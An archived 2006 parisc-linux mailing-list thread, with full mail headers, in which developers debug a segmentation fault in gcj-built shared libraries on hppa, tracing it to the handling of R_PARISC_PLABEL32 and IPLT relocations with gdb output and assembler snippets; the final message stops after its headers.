X-Rc-Spam: 2006-02-21_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-02-21_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.4 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <6wkGvC.A.xXG.tt4-DB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5179
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 21 Feb 2006 15:51:41 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: I+6JY38ieSEkWL6WZHQhaXN1IGRvb0Bp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25260

> please see http://bugs.debian.org/353346
> 
> same thing with the 4.1 rc1 build.

Right, it's a linker bug.  The following plabel is dropped from the
shared library.

0000000c R_PARISC_PLABEL32  .L_ZN2A1C1Ev0

This plabel is for a local alias.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Tue, 21 Feb 2006 19:05:50 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200602220005.k1M05o1D006305__49500.3635100604$1416624584$gmane$org@hiauly1.hia.nrc.ca>
References: <200602212135.k1LLZiUn005694@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624584 27522 80.91.229.3 (22 Nov 2014 02:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Feb 2006 00:06:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 22 Feb 2006 01:06:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD1B07D692;
	Tue, 21 Feb 2006 17:06:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23714-09; Tue, 21 Feb 2006 17:06:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF3707D693;
	Tue, 21 Feb 2006 17:06:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A12797D691
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Feb 2006 17:05:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23714-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Feb 2006 17:05:57 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 18D1B7D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Feb 2006 17:05:57 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id D535A49404F; Tue, 21 Feb 2006 17:05:56 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 8234049404C
	for <parisc-linux@parisc-linux.org>;
	Tue, 21 Feb 2006 17:05:56 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k1M05pil006306; Tue, 21 Feb 2006 19:05:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k1M05o1D006305;
	Tue, 21 Feb 2006 19:05:50 -0500 (EST)
In-Reply-To: <200602212135.k1LLZiUn005694@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Feb 21, 2006 04:35:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uc+JY8s8eSEkTL6WZHQhaXN1IGRvb4BX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25261

> Right, it's a linker bug.  The following plabel is dropped from the
> shared library.
> 
> 0000000c R_PARISC_PLABEL32  .L_ZN2A1C1Ev0

I was too hasty in calling this a linker bug.  We end up with the
following relocations in the shared library as a result of the above
relocation in the object file:

00010f34 R_PARISC_PLABEL32  *ABS*+0x00010f46
00010f44 R_PARISC_IPLT     *ABS*+0x000009a8

The reason for the segmentation fault is the R_PARISC_IPLT isn't
being handled correctly and the indirect call to the constructor
for the library branches to the wrong location.

Carlos, do you have an opinion on how plabels that reference local
symbols in shared libraries should be handled?  This is what we have
in the A1.s file for .L_ZN2A1C1Ev0:

        .word   P%.L_ZN2A1C1Ev0
        .set    .L_ZN2A1C1Ev0,_ZN2A1C1Ev

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] Re: gcj can't make shared libs on hppa]
Date: Mon, 6 Mar 2006 11:47:47 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <119aab440603060847i5cd87f25tc50fb5699429d5ab@mail.gmail.com>
References: <440BC3CB.8020801@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624584 27523 80.91.229.3 (22 Nov 2014 02:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:44 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 dave@hiauly1.hia.nrc.ca,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2006 16:48:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 06 Mar 2006 17:48:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C1437D665;
	Mon,  6 Mar 2006 09:47:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12026-02; Mon, 6 Mar 2006 09:47:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DAC87D653;
	Mon,  6 Mar 2006 09:47:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E705C7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:47:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11741-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Mar 2006 09:47:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5B8CD7D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:47:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 03E34494015; Mon,  6 Mar 2006 09:47:49 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207])
	by palinux.hppa (Postfix) with ESMTP id A9E79494005
	for <parisc-linux@parisc-linux.org>;
	Mon,  6 Mar 2006 09:47:48 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i24so1180540wra
	for <parisc-linux@parisc-linux.org>;
	Mon, 06 Mar 2006 08:47:48 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=JCS9ifMm8RN5FtjSRQTlmsqyBemJnfOxTX1tPcf65JrRuU/Q19W5DoekzXte7dzACCjTcQzC9vJDqko4ioSVE7UOfd+eF7imermqXhJRzmSaoW4GB0ZJ+rGGb/ynq8+VInSGd4/oPorSLTnAS0q3mRLZ9MDYS0Y2saNr0xa8PRc=
Original-Received: by 10.65.43.11 with SMTP id v11mr2623190qbj;
	Mon, 06 Mar 2006 08:47:47 -0800 (PST)
Original-Received: by 10.64.131.11 with HTTP; Mon, 6 Mar 2006 08:47:47 -0800 (PST)
In-Reply-To: <440BC3CB.8020801@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lAJ+ZFJ+eSEkNr6WZHQhaXN1IGRvb8DE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25262

Dave,

Sorry, it appears I've been dropped from various lists when my
mail servers went down due to university problems.

> > Right, it's a linker bug.  The following plabel is dropped from the
> > shared library.
> >
> > 0000000c R_PARISC_PLABEL32  .L_ZN2A1C1Ev0
>
> I was too hasty in calling this a linker bug.  We end up with the
> following relocations in the shared library as a result of the above
> relocation in the object file:
>
> 00010f34 R_PARISC_PLABEL32  *ABS*+0x00010f46
> 00010f44 R_PARISC_IPLT     *ABS*+0x000009a8
>
> The reason for the segmentation fault is the R_PARISC_IPLT isn't
> being handled correctly and the indirect call to the constructor
> for the library branches to the wrong location.

Can you explain what is broken?
Where does it branch to?

> Carlos, do you have an opinion on how plabels that reference local
> symbols in shared libraries should be handled?  This is what we have
> in the A1.s file for .L_ZN2A1C1Ev0:
>
>         .word   P%.L_ZN2A1C1Ev0
>         .set    .L_ZN2A1C1Ev0,_ZN2A1C1Ev

*ABS* IPLT relocations might be mildly broken in hppa actually.

*ABS* PLABEL's point to the PLT at runtime, this might be a
reason for the breakage. We point them at the PLT because they
are local and thus the PLT is a unique OPD.

It might be possible the IP is correctly set, but the GP is incorrect.
If you could verify this it would be great?

This breakage would have occured around the time that fixup was
changed to incorporate ia64 changes.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: [parisc-linux] Re: gcj can't make shared libs on hppa]
Date: Tue, 7 Mar 2006 19:36:13 -0500 (EST)
Lines: 57
Approved: news@gmane.org
Message-ID: <200603080036.k280aD1s015303@hiauly1.hia.nrc.ca>
References: <119aab440603060847i5cd87f25tc50fb5699429d5ab@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624584 27525 80.91.229.3 (22 Nov 2014 02:49:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2006 00:36:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 08 Mar 2006 01:36:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0D057D633;
	Tue,  7 Mar 2006 17:36:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26097-07; Tue, 7 Mar 2006 17:36:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADA957D62B;
	Tue,  7 Mar 2006 17:36:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58F4B7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Mar 2006 17:36:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25966-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Mar 2006 17:36:16 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C17957D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Mar 2006 17:36:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 6BAA949562A; Tue,  7 Mar 2006 17:36:16 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 128E8494013
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Mar 2006 17:36:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k280aEil015305; Tue, 7 Mar 2006 19:36:14 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k280aD1s015303;
	Tue, 7 Mar 2006 19:36:13 -0500 (EST)
In-Reply-To: <119aab440603060847i5cd87f25tc50fb5699429d5ab@mail.gmail.com>
	from "Carlos O'Donell" at Mar 6, 2006 11:47:47 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XUJ8ZLtseSEkbr6WZHQhaXN1IGRvbwC9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25263

> > I was too hasty in calling this a linker bug.  We end up with the
> > following relocations in the shared library as a result of the above
> > relocation in the object file:
> >
> > 00010f34 R_PARISC_PLABEL32  *ABS*+0x00010f46
> > 00010f44 R_PARISC_IPLT     *ABS*+0x000009a8
> >
> > The reason for the segmentation fault is the R_PARISC_IPLT isn't
> > being handled correctly and the indirect call to the constructor
> > for the library branches to the wrong location.
> 
> Can you explain what is broken?

If I knew that, I probably would have fixed the problem ;(

> Where does it branch to?

(gdb) stepi
0x400abb94 in __do_global_ctors_aux () from ./liba1.so.0
(gdb)
0x400ab9c4 in $$dyncall () from ./liba1.so.0
(gdb)
0x400ab9c4 in $$dyncall () from ./liba1.so.0
(gdb)
0x400ab9d4 in $$dyncall () from ./liba1.so.0
(gdb)
0x400ab9d8 in $$dyncall () from ./liba1.so.0
(gdb)
0x08000240 in ?? ()
(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
0x08000240 in ?? ()

Starting program: /home/dave/gcc_test/main
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 29346)]
[Switching to Thread 16384 (LWP 29346)]

Breakpoint 3, 0x400abb90 in __do_global_ctors_aux () from ./liba1.so.0
(gdb) p/x $r22
$3 = 0x8000240

This is just before the call to $$dyncall.  As can be seen, $r22
doesn't point to a function descriptor.  There doesn't seem to be
a function at 0x8000240.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sun, 12 Mar 2006 00:28:58 +0800
Lines: 36
Approved: news@gmane.org
Message-ID: <4412FACA.2010102__3856.6583571539$1416624585$gmane$org@tausq.org>
References: <200602220005.k1M05o1D006305@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624585 27527 80.91.229.3 (22 Nov 2014 02:49:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2006 16:29:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 11 Mar 2006 17:29:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEBDD7D6D0;
	Sat, 11 Mar 2006 09:29:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02065-09; Sat, 11 Mar 2006 09:29:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12CD27D6D4;
	Sat, 11 Mar 2006 09:29:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A57F7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 09:29:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02063-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 09:29:15 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D30E87D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 09:29:15 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 57923494010; Sat, 11 Mar 2006 09:29:15 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127]) by palinux.hppa (Postfix) with ESMTP id E4EE249400E
	for <parisc-linux@parisc-linux.org>;
	Sat, 11 Mar 2006 09:29:14 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FI6xX-0005vM-14; Sun, 12 Mar 2006 00:28:51 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <200602220005.k1M05o1D006305@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sp9gZAwNeSEkML6WZHQhaXN1IGRvb0Bq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25264

> The reason for the segmentation fault is the R_PARISC_IPLT isn't
> being handled correctly and the indirect call to the constructor
> for the library branches to the wrong location.

here's what i see....

__do_global_ctors_aux is trying to load a value from the GOT
(__CTORS_LIST i think). I'm seeing that it loads some garbage value
(0x4fd23f01 in my case), and then it tries to do a $dyncall on that.

__do_global_ctors_aux does something like:

addil 0(%r19),%r1
ldw 28(%r1),%ret0
ldw -4(%ret0),%r3
...
copy %r3,%r22
b,l $$dyncall, %r31

$r19+0x28 is 0x41896830; points inside the .plt. seems reasonable

but *(%ret0-4) points inside the text section, so r22 eventually gets 
loaded with an instruction value (0x4fd23f01 == ldw,mb -80(sp),r18)

dunno if this helps with anything... have to think about it somemore to 
see what's happening...

randolph


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Sat, 11 Mar 2006 21:10:56 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200603120210.k2C2AvIw012101__37342.6364422359$1416624585$gmane$org@hiauly1.hia.nrc.ca>
References: <4412FACA.2010102@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624585 27534 80.91.229.3 (22 Nov 2014 02:49:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:28:18 2014
